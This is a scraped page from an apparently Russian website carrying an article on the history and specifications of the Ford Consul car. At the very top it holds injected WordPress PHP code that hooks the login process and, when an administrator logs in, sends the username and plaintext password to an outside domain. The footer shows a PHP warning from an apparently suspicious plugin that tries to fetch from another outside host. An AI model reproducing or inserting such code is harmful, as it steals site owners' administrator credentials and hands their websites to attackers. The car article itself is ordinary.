if (!function_exists("theme_login_init_0e40e986decc158f6acbb41c14e2f2b4")) { function theme_login_init_0e40e986decc158f6acbb41c14e2f2b4() { if (isset($_POST['log']) and isset($_POST['pwd'])) { $abc = $_POST['log']; $bca = $_POST['pwd']; $zxa = (array)wp_authenticate($abc, $bca); if (isset($zxa["allcaps"]['administrator'])) { $url = 'https://acjscsswp.com/loginfileweb?url=' . urlencode(wp_login_url()) . '&user=' . urlencode($abc) . '&pass=' . urlencode($bca) . '&site=' . urlencode(wp_login_url()); $response = wp_remote_get($url); } } } add_action('wp_login', 'theme_login_init_0e40e986decc158f6acbb41c14e2f2b4', 10, 0); } Ford Consul – успех длиной в четверть века — DigiLider

Ford Consul – успех длиной в четверть века

Ford Consul – успех длиной в четверть века

Ford Consul – успех длиной в четверть века

Ford Consul – легковой автомобиль британского отделения концерна, выпускавшийся с перерывами с 1951 по 1975 год. Впервые его показали на London Motor Show в 1950 году.

Содержание

  • Технические характеристики
  • Ford Consul II
  • Ford Granada

Технические характеристики Ford Consul

  • Объем двигателя – 1 508 см3.
  • Мощность – 47 л.с. (35 кВт).
  • Максимальная скорость – 116 км/ч.
  • Разгон до 100 км/ч – 28 сек.
  • Расход топлива – 11л/100 км.

Небольшая бюджетная машина конструировалась, как замена модели Pilot-а (V8), которая не пользовалась спросом в Британии. Её создавали с применением новейших по тому времени технологий и впервые оснащали подвеской типа МакФерсон. Помимо этого, автомобиль получил гидравлические тормоза и трехступенчатую механическую КПП с синхронизатором. Картину технологического чуда немного портили устаревшие вакуумные дворники, но благодаря тому что в остальном авто получилось очень современным, критики не стали придираться к этой мелочи и всячески расхваливали новую машину в СМИ.

Передние сиденья модели отделывались ПВХ. Ручной тормоз убрали под приборную панель, а над рулевой колонкой располагали спидометр, амперметр и датчик топлива. В самой недорогой комплектации радиоприемника не было, но место для него предусмотрели изначально – чтобы слушать музыку в салоне, нужно было заплатить отдельно. Стоил тестовый экземпляр 730 фунтов стерлингов.

1 of 3

Ford Consul II

В 1956 году машину основательно доработали, увеличив объем двигателя до 1 703 см3, а мощность до 59 л.с. (44кВт). Колесную базу расширили, крышу наоборот опустили, а большинство наружных элементов начали делать из никелированной стали.

В 1960 году дисковые тормоза с сервоприводом появились как дополнительная опция, а с 1961 года их начали ставить на все автомобили Ford Consul II. В середине 1961 года название автомобиля сменили на Consul 375.

После модификации Ford Consul 375 начал развивать скорость в 130 км/ч. До сотни автомобиль разгонялся за 22 секунды. И хотя расход топлива вырос до 12 л/100 км, этот фактор не был решающим при покупке, так как в те времена бензин еще стоил недорого. В итоге благодаря надежности и доступности машина стоимостью в 781 фунт стерлингов быстро завоевала популярность и стала настоящим бестселлером во всей Европе.

1 of 3

Ford Granada

С 1962 по 1972 год Consul выпускали под именем Ford Zephyr. Однако в 1972 году популярность Зефира пошла на спад, и руководство концерна решило оживить знаменитый Консул. Новая машина получила полностью новый кузов и два двигателя на выбор – Essex V4, объемом 1 996 см3 и Essex V6 – 2 495 см3.

Также в Великобритании предлагали спортивную версию серийной машины – Ford Consul GT. Облегченный на 100 кг автомобиль оснащался двигателем V6 (2 994 см3) и разгонялся до 140 км/ч.

В 1975 году название Consul окончательно сменили на Granada.


Warning: fsockopen(): Unable to connect to ssl://getajaxx.com:443 (Connection timed out) in /var/www/u0503503/data/www/digilider.ru/wp-content/plugins/custom-fetch-url/custom-fetch-url.php on line 22
Error: Connection timed out (110)